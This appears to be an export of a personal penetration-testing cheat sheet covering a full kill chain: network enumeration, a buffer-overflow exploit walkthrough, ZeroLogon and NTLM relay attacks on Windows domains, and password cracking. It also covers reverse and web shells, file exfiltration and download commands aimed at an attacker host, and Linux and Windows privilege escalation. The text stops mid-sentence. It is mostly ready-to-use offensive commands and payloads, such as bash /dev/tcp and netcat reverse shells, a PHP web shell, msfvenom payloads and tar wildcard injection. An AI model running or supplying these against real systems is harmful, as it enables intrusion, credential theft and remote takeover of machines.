[{"content":"Resources Enumeration Mind Map - Ignitetechnologies Host Discovering ARP Scan arp-scan -l eth0\nScan for hosts in the same network of the specifeid interface.\nnetdiscover -r [TARGET_NETWORK]/24\nReturn MAC address of this network.\nMASSCAN masscan [TARGET_NETWORK]/24 -p 443\nHost discovering scan.\nPort Scan NMAP nmap -sn [TARGET_NETWORK]/24\nDo not do port scan: scan for hosts (ARP, ICMP, TCP/UDP Ping).\nnmap -sV -sC [TARGET_IP]\nPorts services + Default script.\nSMB Scan SMBCLIENT smbclient -L [TARGET_IP] --no-pass\nList Shares anonymously.\nsmbclient -L [TARGET_IP] -U myUser\nList Shares with a user.\nsmbclient //[TARGET_IP]/mySmbShare\nConnect to a Share.\nNMAP nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse [TARGET_IP]\nSearch for SMB Shares.\nnmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount [TARGET_IP]\nEnumerate rpcbind.\nENUM4LINUUX enum4linux -S [TARGET_DOMAIN]\nList Samba Share.\nSubdomains Fuzz Word Lists /usr/share/seclists/Discovery/DNS/services-names.txt /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt cewler http://[TARGET_HOST] --depth 5 -o my_cewler_wordlist.txt\nGenerate a wordlist from the target website.\nASSETFINDER go install github.com/tomnomnom/assetfinder@latest\nassetfinder [TARGET_DOMAIN]\nFind subdomains and some that could be related.\nassetfinder --subs-only [TARGET_DOMAIN]\nFind only subdomains (stay in the scope).\nOWASP-AMAS go install github.com/OWASP/Amass/v3/...@master\namass enum -d [TARGET_DOMAIN]\nFind subdomains.\nDNSRECON dnsrecon -t brt -d [TARGET_DOMAIN]\nFind subdomains (brute force).\nSUBLIST3R sublist3r.py -d [TARGET_DOMAIN]\nFind subdomains (using search engines).\nWeb Paths Fuzz Word Lists /usr/share/wordlists/drib/big.txt (Really Good) /usr/share/wordlists/dirb/common.txt (Fast) /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt (Medium) Known Paths Tomcat: /manager Durpal: /admin or /drupal Typo3: /typo3/ Joomla: /administrator Kentico: /cms -\u0026gt; /CMSPages/logon.aspx October: /backend -\u0026gt; /backend/backend/auth/signin Umbraco: /umbraco/ -\u0026gt; /umbraco/login.aspx Laravel: /admin -\u0026gt; /admin/auth/login GOBUSTER gobuster dir -u http://[TARGET_IP]:[TARGET_PORT] -w myWordList -x php,txt,html\nSearch files.\ngobuster dir -u http://[TARGET_IP]:[TARGET_PORT] -w myWordList\nSearch folders.\nFUFF fuff -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt:FUZZ -u http://[TARGET_DOMAIN]/FUZZ\nWeb Path FUZZ.\nWFUZZ wfuzz -c -z file,myWordList http://[TARGET_IP]:[TARGET_PORT]/FUZZ\nFuzz Folders.\nAPI Fuzz WFUZZ wfuzz -c -z file,myWordList http://[TARGET_IP]:[TARGET_PORT]/api/file?parameter=FUZZ\nFuzz GET Parameter (ex: API).\nVirutals Hosts Fuzz FUFF ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -H \u0026quot;Host: FUZZ.[TARGET_DOMAIN]\u0026quot; -u http://[TARGET_DOMAIN] -fs 2395\nVirtual Host FUZZ.\nUser Fuzz FUFF ffuf -w /usr/share/wordlists/seclists/Usernames/Names/names.txt -X POST -d \u0026quot;username=FUZZ\u0026amp;email=x\u0026amp;password=x\u0026amp;cpassword=x\u0026quot; -H \u0026quot;Content-Type: application/x-www-form-urlencoded\u0026quot; -u http://[TARGET_DOMAIN]/signup -mr \u0026quot;username already exists\u0026quot;\nUser Enumeration.\n","permalink":"https://security.kaldei.com/killchain/1_enumeration/","summary":"Enumeration step – a note for enumerating hosts, ports, subdomains, web paths, users, ...","title":"1 – Enumeration"},{"content":"Exploit Database SEARCHSPLOIT apt install exploitdb\nInstall ExploitDB.\nserachsploit name version\nRecherche d’exploits connues (de Exploit-DB).\nserachsploit -x 4401\nAffiche l’exploit 4401.\nWeb Vulnerability Scanners NICKTO nikto -h [TARGET_IP]\nWeb vuln scan.\nnikto -h http://[TARGET_IP]:[TARGET_PORT]/path -id myUser:myPass\nWeb vuln scan with credential and login page.\nWPSCAN wpscan --url [TARGET_IP] -e u,vp,vt\nScan Wordpress.\n-e vp\nEnumerate Vulnerable Plugins.\n-e vt\nEnumerate Vulnerable Themes.\n-e cb\nEnumerate Config Backups.\n-e dbe\nEnumerate DB Exports.\n-e u\nEnumerate Users.\nGeneral Vulnerability Scanners NESSUS https://docs.tenable.com/nessus/Content/DeployNessusDocker.htm\ndocker run -p 8834:8834 --name nessus tenableofficial/nessus\nStart Nessus scanner.\nThe scanner will be accessible at: https://127.0.0.1:8834/\nTo use the scanner, you need to create an account.\nYou can create a free Nessus Essentials account here: https://fr.tenable.com/products/nessus/nessus-essentials\nGreenbone Vulnerability Manager https://greenbone.github.io/docs/latest/22.4/container/index.html\ncurl -f -L https://greenbone.github.io/docs/latest/_static/docker-compose-22.4.yml -o docker-compose.yml\nDownload Docker Copose file.\ndocker-compose -f docker-compose.yml -p greenbone-community-edition up\nStart Greenbone scanner.\ndocker-compose -f docker-compose.yml -p greenbone-community-edition down\nStop Greenbone scanner.\nThe scanner will be accessible with default credentials (admin:admin) at: http://127.0.0.1:9392/\n","permalink":"https://security.kaldei.com/killchain/2_vuln_assessment/","summary":"Vulnerability Assessment step – a note for finding and assessing vulnerabilities.","title":"2 – Vulns Assessment"},{"content":"Memory Architecture Memory Source: TCM Security\nStack Source: TCM Security\nBasis python -c \u0026quot;print('A' * 40 + '\\xef\\xbe\\xad\\xde')\u0026quot;\nPrint payload with overflow and value to inject.\ncat myPayloadFile - | vulnerableBinary\nUse - to hang after succefull buffer overflow.\nTHM Method 1 - Fuzzing 1_fuzzer.py\n#!/usr/bin/env python3 import socket, time, sys ip = \u0026#34;10.10.99.64\u0026#34; port = 1337 timeout = 5 prefix = \u0026#34;OVERFLOW1 \u0026#34; string = prefix + \u0026#34;A\u0026#34; * 100 while True: try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.settimeout(timeout) s.connect((ip, port)) s.recv(1024) print(\u0026#34;Fuzzing with {} bytes\u0026#34;.format(len(string) - len(prefix))) s.send(bytes(string, \u0026#34;latin-1\u0026#34;)) s.recv(1024) except: print(\u0026#34;Fuzzing crashed at {} bytes\u0026#34;.format(len(string) - len(prefix))) sys.exit(0) string += 100 * \u0026#34;A\u0026#34; time.sleep(1) 2 - Controlling EIP (Finding Offset) Method 1: Manual /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000\nCreate chars to find EIP (maki it 400 bytes longer than the string that crashed the server).\nTake that string of chars and put it in \u0026quot;payload\u0026quot; variable in 2_exploit.py.\nRe-run the program in Immunity.\n2_exploit.py\nimport socket ip = \u0026#34;10.10.99.64\u0026#34; port = 1337 prefix = \u0026#34;OVERFLOW1 \u0026#34; offset = 0 overflow = \u0026#34;A\u0026#34; * offset retn = \u0026#34;\u0026#34; padding = \u0026#34;\u0026#34; payload = \u0026#34;Aa0Aa1Aa2Aa3 ...\u0026#34; # HERE ! postfix = \u0026#34;\u0026#34; buffer = prefix + overflow + retn + padding + payload + postfix s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((ip, port)) print(\u0026#34;Sending evil buffer...\u0026#34;) s.send(bytes(buffer + \u0026#34;\\r\\n\u0026#34;, \u0026#34;latin-1\u0026#34;)) print(\u0026#34;Done!\u0026#34;) except: print(\u0026#34;Could not connect.\u0026#34;) Look at EIP Value (Immunity \u0026gt; Registers (in CPU Window)) /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 386F4337\nReturn the exact offset.\nTake that offset and put it in \u0026quot;offset\u0026quot; variable in 2_exploit.py.\nSet \u0026quot;payload\u0026quot; variable to \u0026quot;\u0026quot; (empty).\nSet \u0026quot;retn\u0026quot; variable to \u0026quot;BBBB\u0026quot; (EIP overwrite).\nMethod 2: Mona Immunity : !mona findmsp -distance 2400\n→ EIP contains normal pattern : 0x6f43396e (offset 1978)\n3 - Finding Bad characters Method 1: Manual !mona bytearray -b \u0026quot;\\x00\u0026quot;\nIn Immunity\n3_gen_badchars.py\nfor x in range(1, 256): print(\u0026#34;\\\\x\u0026#34; + \u0026#34;{:02x}\u0026#34;.format(x), end=\u0026#39;\u0026#39;) print() Take output form 3_gen_badchars.py and put il in \u0026quot;payload\u0026quot; variable in 2_exploit.py.\n2_exploit.py\nFollow EIP in Immunity. Check if all chars are here in right order. Notes :\nBad chars will not necessarily be B0. When there are consecutive bad chars, the only bad is the first one (but we can remove them by precaution). Method 2: Mona !mona config -set workingfolder c:\\mona\nSet where mona will save data.\n!mona bytearray -cpb “\\x00”\nGenerate Bytearray\n!mona compare -f bytearray.bin -a ESP-ADDR\nFind bad chars.\nDo it again adding bad chars :\n!mona bytearray -cpb \u0026quot;\\x00\\x07\\x08\\x2e\\x2f\\xa0\\xa1\u0026quot;\nGenerate Byte array.\n4 - Find Jump Point Method 1: Manual Set \u0026quot;retn\u0026quot; variable to the jump point (backward because of little endian). Ex : 0x01020304 -\u0026gt; \u0026quot;\\x04\\x03\\x02\\x01\nMethod 2: Mona !mona jmp -r esp -cpb \u0026quot;\\x00\\x07\\x08\\x2e\\x2f\\xa0\\xa1\u0026quot;\nReturn all \u0026quot;jmp esp\u0026quot; (specify bad chars after -cpb).\n5 - Generate Shellcode (MSFVNOM) msfvenom -p windows/shell_reverse_tcp LHOST=[ATTACKER_IP] LPORT=[ATTACKER_PORT] EXITFUNC=thread -f c -b \u0026quot;\\x00\\x07\\x08\\x2e\\x2f\\xa0\\xa1\u0026quot;\nGen Reverse Shell in Shellcode (specify bad chars).\nFlags -b \u0026quot;\\x00\u0026quot;\nSpecify bad characters (always put at least null byte).\n-f c\nFile Type (here it's c file).\n-a x86\nArchitecture.\n","permalink":"https://security.kaldei.com/killchain/3_buffer_overflow/","summary":"Gaining Access step – a note for Buffer Overflows.","title":"3 - Buffer Overflow"},{"content":"Resources Pentesting Active Directory Mind Map - ODC Top Five Ways I Got Domain Admin 2018 Edition - Adam Toscher LLMNR Attack RESPONDER Principle Credit: TCM Security\nHands On responder -l tun0 -dw\nCapture NTLM Hashes when DNS error occurs.\nhashcat -a 0 -m 5600 myHashes.txt /usr/share/wordlists/rockyou.txt\nCrack NetNTMLv2 hashes.\nMitigation Disable LLMNR and NBT-NS Local Computer Policy \u0026gt; Computer Configuration \u0026gt; Administrative Templates \u0026gt; Network \u0026gt; DNS Client \u0026gt; Multicast Name Resolution \u0026gt; OFF Network Connections \u0026gt; Network Adapter Properties \u0026gt; TCP/IPv4 Properties \u0026gt; Advanced \u0026gt; WINS \u0026gt; NetBIOS over TCP/IP \u0026gt; Disable If this cannot be disabled Network Access Control. Enforce strong user password (over 14 characters) in order to make it harder to crack hashes. Credit: TCM Security\nSMB Relay Attack IMPACKET NTMLRELAYX Principle Relay captured Hashes without cracking them to a SMB Server.\nRequirements \u0026amp; Limitations SMB Signing must be disabled on the target. The user that is relayed has to be admin on the target. It is not possible to relay a user to the same machine. Scan for vulnerable hosts (SMB Signing disabled) nmap --script=smb2-security-mode.nse -p445 [TARGET_IP]\nScan for disabled SMB Signing.\nHands on Capture Hashes Update Responder configuration to capture hashes but not respond.\n/usr/share/responder/Responder.conf\n[Responder Core] ; Servers to start SQL = On #SMB = On # HERE # RDP = On Kerberos = On FTP = On POP = On SMTP = On IMAP = On HTTP = On HTTPS = On DNS = On LDAP = On DCERPC = On WINRM = On SNMP = Off responder -l tun0 -dw\nCapture NTLM Hashes when DNS error occurs.\nRelay Attacks python3 /opt/impacket/examples/ntlmrelayx.py -tf myTargets.txt -smb2support --no-multirelay\nRelay NTLM Hash and Dump Sam Hashes.\n** /!\\ TO CHECK /!\\ **\npython3 /opt/impacket/examples/ntlmrelayx.py -tf myTargets.txt -smb2support --no-multirelay -i\nRelay NTLM Hash and start a Bind Shell.\nnc 127.0.0.1 11000 Connect to the shell.\nMitigation Enable SMB Signing on all devices Warning: May cause performance issues with file copies Disable NTML authentication on network Warning: NTML is the backup solution when Kerberos don't work, NTML may be required by some applications. Limit high privilege accounts to specific tasks (e.g. Domain Admins only log when a Domain Admin access is required). Enforce Local admins restriction. Credit: TCM Security\nFind Valid Users KERBRUTE (Brute Force) kerbrute -dc-ip [TARGET_DC_IP] -domain [TARGET_DOMAIN] -users myUserList.txt -t 10\nFind valid users by testing all usernames in a list (-t is for thread).\nIMPACKET GETNUPUSERS (Users No Pre-Auth Required) python3 /opt/impacket/examples/GetNPUsers.py [TARGET_DOMAIN]/myUser -dc-ip [TARGET_DC_IP] -no-pass\nCheck for users that do not require Pre-Authentication.\nExploit ZeroLogon Exploit (CVE-2020-1472) Warning This exploit could destroy the Domain Controller if you don’t restore the password after the attack.\nCheck if Vulnerable https://github.com/SecuraBV/CVE-2020-1472\npython3 zerologon_tester.py myNetBIOSDCName [TARGET_DC_IP]\nCheck if target is vulnerable to CVE-2020-1472\nHands On Exploit https://github.com/Sq00ky/Zero-Logon-Exploit/blob/master/zeroLogon-NullPass.py\npython3 zeroLogon-NullPass.py myNetBIOSDCName [TARGET_DC_IP]\nRun the exploit: bypass authentication and change the password to a null value.\nHash Dump python3 /opt/impacket/examples/secretsdump.py myNetBIOSDCName\\$@[TARGET_DC_IP] -no-pass\nConnect with empty password (after Zerologon exploit) and dump hashes.\nPass the Hash evil-winrm -i [TARGET_IP] -u [myUser] -H [myUserNTHASH]\nPass the Hash attack (NT Hash).\nRestore the machine state python3 /opt/impacket/examples/secretsdump.py Administrator@[TARGET_DC_IP] -hashes myAdminHash\nDump secrets, look for plain_password_hex.\nhttps://github.com/dirkjanm/CVE-2020-1472\npython3 restorepassword.py DOMAIN/myNetBIOSDCName@myNetBIOSDCName -target-ip [TARGET_DC_IP] -hexpass myPlainPasswordHex Restore the password.\n","permalink":"https://security.kaldei.com/killchain/3_exploit_windows_domain/","summary":"Gaining Access step – a note for attacking Windows Domain.","title":"3 - Windows Domain Exploitation"},{"content":"Words Lists : /usr/share/wordlists/rockyou.txt /usr/share/wordlists/seclists/Passwords/Common-Credentials/best1050.txt /usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt /usr/share/wordlists/metasploit/unix_passwords.txt HTTP POST Login Page WFUZZ wfuzz -c -z file,myWordList -u http://[TARGET_IP]:[TARGET_PORT]/login.php -d “username=FUZZ\u0026amp;password=FUZZ”\nFuzz POST Login.\nHYDRA hydra -vV -L myUsersFile.txt -P /usr/share/wordlists/rockyou.txt [TARGET_IP] http-post-form ‘/path/to/form.php:username=^USER^\u0026amp;password=^PASS^\u0026amp;login=Login:F=ChainNotOK’\nBrute Force HTTP POST form with valid username.\nFUFF ffuf -w myUsersFile.txt:W1,/usr/share/wordlists/rockyou.txt:W2 -X POST -d \u0026quot;username=W1\u0026amp;password=W2\u0026quot; -H \u0026quot;Content-Type: application/x-www-form-urlencoded\u0026quot; -u http://[TARGET_IP]/login -fc 200\nBrute Force HTTP POST form with valid username.\nWPSCAN (WordPress) wpscan --url http://[TARGET_IP]/blog --usernames admin --passwords /usr/share/wordlists/rockyou.txt\nBrute force WordPress user's credentials.\nHTTP Basic Access Auth HYDRA hydra -vV -l myUser -P /usr/share/wordlists/rockyou.txt [TARGET_IP] http-get /path/\nBrute Force HTTP Basic Access Authentication.\nJWT JOHN john --format=HMAC-SHA512 jwt.txt Brute force JWT's key used for signature. Choose the alg used by the token (e.g. HMAC-SHA256, HMAC-SHA512, ...).\nJWT-CRACKER jwt-cracker [myToken] [myAlphabet] [myMaxSecretLengthExpected]\nBrute force attack JWT token secret.\nDefault Alphabet : abcdefghijklmnopqrstuvwxyz\nJWT_TOOL jwt_tool [myToken] [myDictionary]\nDictionnary attack JWT token secret.\nSSH HYDRA hydra -L myUsersFile -P myPassFile [TARGET_IP] ssh\nBrute Force SSH.\nSSH Private Key Passphrase JOHN /usr/share/john/ssh2john.py private_key \u0026gt; forjohn.txt\nPrepare private key for John.\njohn --wordlist=/usr/share/wordlists/rockyou.txt forjohn.txt\nCrack private key passphrase.\nFTP HYDRA hydra -vV -l myUser -P /usr/share/wordlists/rockyou.txt [TARGET_IP] ftp\nBrute Force FTP Login.\nLinux Unshadow JOHN unshadow /etc/passwd /etc/shadow \u0026gt; unshadowd.txt\nPrepare passwd and shadow file for John.\njohn unshadow.txt --wordlist=/usr/share/wordlists/rockyou.txt\nCrack user passwords.\njohn --show unshadow.txt\nDisplay cracked passwords.\nMD5 JOHN john --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt\nCrack MD5 hash.\nNTLM JOHN john --format=NT -w=/usr/share/wordlists/rockyou.txt hash.txt --pot=output.txt\nCrack NTLM Hash.\nDCC HASHCAT hashcat -a 0 -m 1100 0 '15a57c379ebdfea572ad1ff91eb6ef0c:Administrator' /usr/share/wordlists/rockyou.txt\nCrack DCC (Domain Cached Credentials) hash.\nZIP JOHN zip2john myFile.zip \u0026gt; forjohn.txt\nPrepare ZIP archive for John.\njohn forjohn.txt\nCrack ZIP archive password.\nHASHCAT zip2john myFile.zip \u0026gt; forhashcat.txt\nRemove name of the file and archive from the hash (at the beginning and the end).\nhashcat -a 0 -m 13600 forhashcat.txt /usr/share/wordslist/rockyou.txt\nCrack ZIP archive password.\nFCRACKZIP fcrackzip -v -D -p /usr/share/wordlists/rockyou.txt -u myZipFile.zip\nCrack ZIP archive password.\nRAR JOHN rar2john myFile.rar \u0026gt; forjohn.txt\nPrepare RAR archive for John.\njohn forjohn.txt\nCrack RAR archive password.\n","permalink":"https://security.kaldei.com/killchain/3_brute_force/","summary":"Gaining Access step – a note for brute forcing passwords, login pages, archives, ...","title":"3 – Brute Force"},{"content":"Reverse vs Bind vs Web Shell Bind Shell The code is used to start a listener attached to a shell on the target. Then we can connect to the port to obtain remote code execution. This has the advantage of not requiring any configuration on our network, but may be prevented by firewalls protecting the target.\nReverse Shell The code makes the target to connects back to the attacker computer. Reverse shells are a good way to bypass firewalls. The drawback is that we need to configure our network to accept the shell: we need to set up an handler.\nWeb Shell The code allows the attacker to send shell commands to the target server via a web page hosted on this server.\nReverse Shell Handlers NETCAT nc -lvnp [ATTACKER_PORT]\nOpen a listener on delected port.\nMETASPLOIT use exploit/multi/handler\nset payload linux/x86/meterpreter/reverse_tcp\nexploit\nHandler for linux (efl) reverse shell.\nReverse Shell Multi Resources PayloadsAllTheThings Reverse Shell Cheat Sheet\nPentestmonkey Reverse Shell Cheat Sheet\nNETCAT nc -e /bin/bash [ATTACKER_IP] [ATTACKER_PORT]\nReverse shell.\nPYTHON python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\u0026quot;[ATTACKER_IP]\u0026quot;,[ATTACKER_PORT]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\u0026quot;/bin/bash\u0026quot;)'\nReverse Shell.\nPHP \u0026lt;?php\nexec(\u0026quot;/bin/bash -c 'bash -i \u0026gt; /dev/tcp/[ATTACKER_IP]/[ATTACKER_PORT] 0\u0026gt;\u0026amp;1'\u0026quot;);\n?\u0026gt;\nVery simple reverse shell.\nFancy reverse shell: Pentestmonkey PHP Reverse Shell Location on Kali: /usr/share/webshells/php/php-reverse-shell.php\nReverse Shell Windows BAT @echo off nc.exe [ATTACKER_IP] [ATTACKER_PORT] -e cmd.exe\nReverse Shell.\nHOAXSHELL sudo python3 hoaxshell.py -s [ATTACKER_IP]\nCreate a reverse shell payload (that utilizes Invoke-Expression) and start a handler.\nMSFVENOM msfvenom -p windows/x64/shell_reverse_tcp LHOST=[ATTACKER_IP] LPORT=[ATTACKER_PORT] -f exe -o shell.exe\nGenerate a reverse shell exe.\nmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[ATTACKER_IP] LPORT=[ATTACKER_PORT] -f exe -o shell.exe\nGenerate a meterpreter reverse shell exe.\nMETASPLOIT (SMB) use exploit/windows/smb/psexec\nset lhost [ATTACKER_IP]\nset rhosts [TARGET_IP]\nset smbdomain [TARGET_DOMAIN]\nset smbuser [TARGET_USER]\nset smbpass [TARGET_IP]\nset payload windows/x64/meterpreter/reverse_tcp\nexploit\nCreate a reverse shell from a SMB share.\nReverse Shell Linux BASH bash -i \u0026gt;\u0026amp; /dev/tcp/[ATTACKER_IP]/[ATTACKER_PORT] 0\u0026gt;\u0026amp;1\nReverse Shell.\nMSFVENOM msfvenom -p cmd/unix/reverse_netcat LHOST=[ATTACKER_IP] LPORT=[ATTACKER_PORT]\nGenerate a Linux reverse shell.\nmsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[ATTACKER_IP] LPORT=[ATTACKER_PORT] -f elf \u0026gt; reverse.elf\nGenerate a Meterpreter Reverse Shell for Linux x86.\nmsfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=[ATTACKER_IP] LPORT=[ATTACKER_PORT] -f elf \u0026gt; reverse.elf\nGenerate a Meterpreter Reverse Shell for Linux x64.\nWeb Shell PHP \u0026lt;?php\nsystem($_GET[\u0026quot;cmd\u0026quot;]);\n?\u0026gt;\nWeb shell. After upload, go to http://[TARGET_IP]/myWebShell.php?cmd=whoami\n","permalink":"https://security.kaldei.com/killchain/3_reverse_shell/","summary":"Gaining Access step – a note for obtaining a reverse shell on the target.","title":"3 – Reverse Shell"},{"content":"Spawn Better Shell PYTHON python3 -c 'import pty; pty.spawn(\u0026quot;/bin/bash\u0026quot;)';export TERM=xterm\nCtrl + Z\nstty raw -echo; fg\nSpawn a better shell (tab, history, ...).\nExtract File from Target CURL curl [ATTACKER_IP]:[ATTACKER_PORT] -F 'data=@fmyFile'\nSend myFile to an netcat listener.\nUpload File on Target NETCAT nc -l -p [TARGET_PORT] \u0026gt; newFile\nRun on Target.\nnc [TARGET_IP] [TARGET PORT] \u0026lt; myFile\nRun on Attacker machine. Send a file on the target.\nPYTHON python3 -m http.server [ATTACKER_PORT]\nRun on attacker machine (at the file location).\nwget http://[ATTACKER_IP]:[ATTACKER_PORT]/myFile\nGet the file on a Linux target machine.\ncertutil.exe -urlcache -f http://[ATTACKER_IP]:[ATTACKER_PORT]/myFile myFile\nor\npowershell -c wget \u0026quot;http://[ATTACKER_IP]:[ATTACKER_PORT]/myFile\u0026quot; -outfile \u0026quot;myFile\u0026quot;\nor\npowershell -c \u0026quot;(new-object System.Net.WebClient).Downloadfile('http://[ATTACKER_IP]:[ATTACKER_PORT]/myFile', 'myFile')\u0026quot;\nGet the file on a Windows target machine.\nMETERPRETER upload\nUpload a file or directory.\ndownload\nDownload a file or directory.\nPivoting METERPRETER When we have a meterpreter shell on a machine that has access to another network, we can use it to gain access to the 2nd network.\nrun autoroute -s [REMOTE_NETWORK]/24\nCreate a route via the host that we had access to.\nrun autoroute -p\nShow added routes.\n","permalink":"https://security.kaldei.com/killchain/4_foothold/","summary":"Foothold step – a note for confirming foothold and adding a little persistence.","title":"4 – Foothold"},{"content":"Privesc Checklist sudo -l\nDisplay commands allowed to run with root privileges.\nhistory\nShow shell history.\nenv\nShow environment variables.\nfind / -perm -u=s -type f 2\u0026gt; /dev/null\nSearch for commands with SUID enabled (then check https://gtfobins.github.io/)\ngetcap -r / 2\u0026gt;/dev/null\nSearch for commands with capabilities (then check https://gtfobins.github.io/)\nfind / -writable 2\u0026gt;/dev/null\nSearch for writable folders.\nfind / -name id_rsa 2\u0026gt; /dev/null/\nSearch for SSH private keys.\ncat /etc/crontab\nLooking for automated scripts.\nOthers Suggestions Determining the kernel of the machine and search for kernel exploitation (such as Dirtyc0w). Misconfigured file and directory permissions. pspy (process snooping): https://github.com/DominicBreuker/pspy https://redteamrecipe.com/40-Method-For-Privilege-Escalation/ Automated Scripts LINPEAS https://github.com/carlospolop/PEASS-ng/releases\n./linpeas.sh\nTRAITOR https://github.com/liamg/traitor\ntraitor\nLINEUM https://github.com/rebootuser/LinEnum\n./LinEnum.sh\nLYNSIS lynis audit system --pentest\nMETASPLOIT use post/multi/recon/local_exploit_suggester\nCheck exploits for privilege escalation.\nSUID Examples Resource https://gtfobins.github.io/\nCP cp /root/ /home/myUser/\ncd /home/myUser/root\nAccess root content.\nLESS less /etc/hosts\n!/bin/sh\nGet a root shell.\nBASH bash -p\nGet a root shell.\nWildcard Exploitation Resource https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/\nExample Script running as root:\ntar cf /home/myUser/backups/backup.tgz *\nExploit:\necho \u0026quot;bash -i \u0026gt;\u0026amp; i/dev/tcp/[ATTACKER IP]/[ATTACKER PORT] 0\u0026gt;\u0026amp;1\u0026quot; \u0026gt; revshell.sh\ntouch \u0026quot;/home/myUser/backups/--checkpoint-action=exec=sh revshell.sh\u0026quot;\ntouch \u0026quot;/home/myUser/\u0026quot;--checkpoint=1\u0026quot;\n","permalink":"https://security.kaldei.com/killchain/5_privesc_linux/","summary":"Privilege Escalation step – a note for elevating privileges on a Linux machine.","title":"5 – Privesc Linux"},{"content":"Windows Privesc Checklist doskey /history\nShow user input history.\npowershell -c \u0026quot;Get-Service\u0026quot;\nReturn services.\nGet-ScheduledTask\nReturn Scheduled tasks.\ncmdkey /list\nList saved credentials (can’t see password).\nrunas /savecred /user:admin powershell.exe\nRun a program with saved creds.\ntype %userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt\nShow CMD history.\ntype $Env:userprofile\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt\nShow Powershell History.\ntype C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\web.config | findstr connectionString\nSearch for database password in IIS config.\nreg query HKEY_CURRENT_USER\\Software\\SimonTatham\\PuTTY\\Sessions\\ /f \u0026quot;Proxy\u0026quot; /s\nLook for Putty credentials in registers (SimonTatham is PuTTY’s creator).\nOthers Suggestions https://redteamrecipe.com/40-Method-For-Privilege-Escalation/ Windows Automated Scripts POWERUP https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1\n. .\\PowerUp.ps1\nInvoke-AllChecks\nPRIVESCHECK https://github.com/itm4n/PrivescCheck\nSet-ExecutionPolicy Bypass -Scope process -Force\n. .\\PrivescCheck.ps1\nInvoke-PrivescCheck\nEXPLOIT-SUGGESTER https://github.com/AonCyberLabs/Windows-Exploit-Suggester\nOn target systeminfo\nOn attacker machine pip install xlrd==1.2.0\nwindows-exploit-suggester.py --update\nwindows-exploit-suggester.py --systeminfo systeminfo.txt --database [DATE]-mssb.xls\nWINPEAS https://github.com/carlospolop/PEASS-ng/releases\nwinPEASx64.exe Run WinPEAD\nWINPEAS Output WiseBootAssistant(WiseCleaner.com - Wise Boot Assistant)[C:\\Program Files (x86)\\Wise\\Wise Care 365\\BootTime.exe] - Auto - Running - No quotes and Space detected YOU CAN MODIFY THIS SERVICE: AllAccess On attacker machine msfvenom -p windows/x64/shell_reverse_tcp LHOST=[ATTACKER_IP] LPORT=[ATTACKER_PORT] -f exe -o Wise.exe\nCreate a reverse shell with the name of the modifiable service.\nnc -lvnp [ATTACKER_PORT]\nOpen a listener.\nOn target machine cd \u0026quot;C:\\Program Files (x86)\\Wise\u0026quot;\ncertutil.exe -urlcache -f http://[ATTACKER_IP]:[ATTACKER_PORT]/Wise.exe Wise.exe\nDownload crafted executable and place it where the space is in the vulnerable path.\nsc.exe stop WiseBootAssistant\nsc.exe query WiseBootAssistant\nsc.exe start WiseBootAssistant\nRestart the service to execute the crafted one.\nROADRECON (Azure AD) https://github.com/dirkjanm/ROADtools/wiki/Getting-started-with-ROADrecon\nWindows Privesc Potato Elevate a service user with low privileges to NT AUTHORITY\\SYSTEM privileges.\nAffected versions:\nWindows Server 2012 to Windows Server 2022 Windows 8 to Windows 11 GodPotato https://github.com/BeichenDream/GodPotato/releases\nGodPotato -cmd \u0026quot;cmd /c whoami\u0026quot; Privesc and run whoami as NT AUTHORITY\\SYSTEM.\nWindows Privesc Abusing Schtasks Show Schtasks schtasks /query /tn vulnerableTask /fo list /v\nShow detail info about the scheduled task.\ncd c:\\Program Files (x86)\\SystemScheduler\\Events\ntype [ID].INI_LOG.txt Show tasks logs.\nReplace executable mv excutedByTask.exe excutedByTask.exe.bak\nmv msfvenomeReverseShell excutedByTask.exe Replace exe that being executed by scheduled tasks.\nInject scheduled task echo c:\\tools\\nc64.exe -e cmd.exe [ATTACKER_IP] [ATTACKER_PORT] \u0026gt; C:\\tasks\\schtask.bat\nInject scheduled task with reverse shell.\nWindows Privesc Abusing SE Privileges Here are the most commonly abused privileges:\nSeImpersonatePrivilege SeAssignPrimaryPrivilege SeTcbPrivilege SeBackupPrivilege SeRestorePrivilege SeCreateTokenPrivilege SeLoadDriverPrivilege SeTakeOwnershipPrivilege SeDebugPrivilege whoami /priv\nShow current user privileges.\nSeDebugPrivilege and SeImpersonatePrivilege If the current user has SeDebugPrivilege and SeImpersonatePrivilege privileges enabled, we are able to impersonate another user.\nload incognito\nLoad icognito module.\nlist_tokens -u\nList Delegation Tokens available (not sure of the flag maybe -g).\nimpersonate_token \u0026quot;BUILTIN\\Administrators\u0026quot;\nImpersonate token.\nTo determine rights, Windows uses the Primary Token of the process and not the impersonated token. So we have to migrate to a process with correct permissions.\nThe safest to pick is services.exe.\nmigrate 668\nMigrate to process 668.\nrev2self\nRevert to previous user.\nWindows Privesc Unattended Path Unattended Setup is the method by which OEMs (Original Equipment Manufacturers) install Windows NT in unattended mode. C:\\Windows\\Panther\\Unattend\\Unattended.xml is 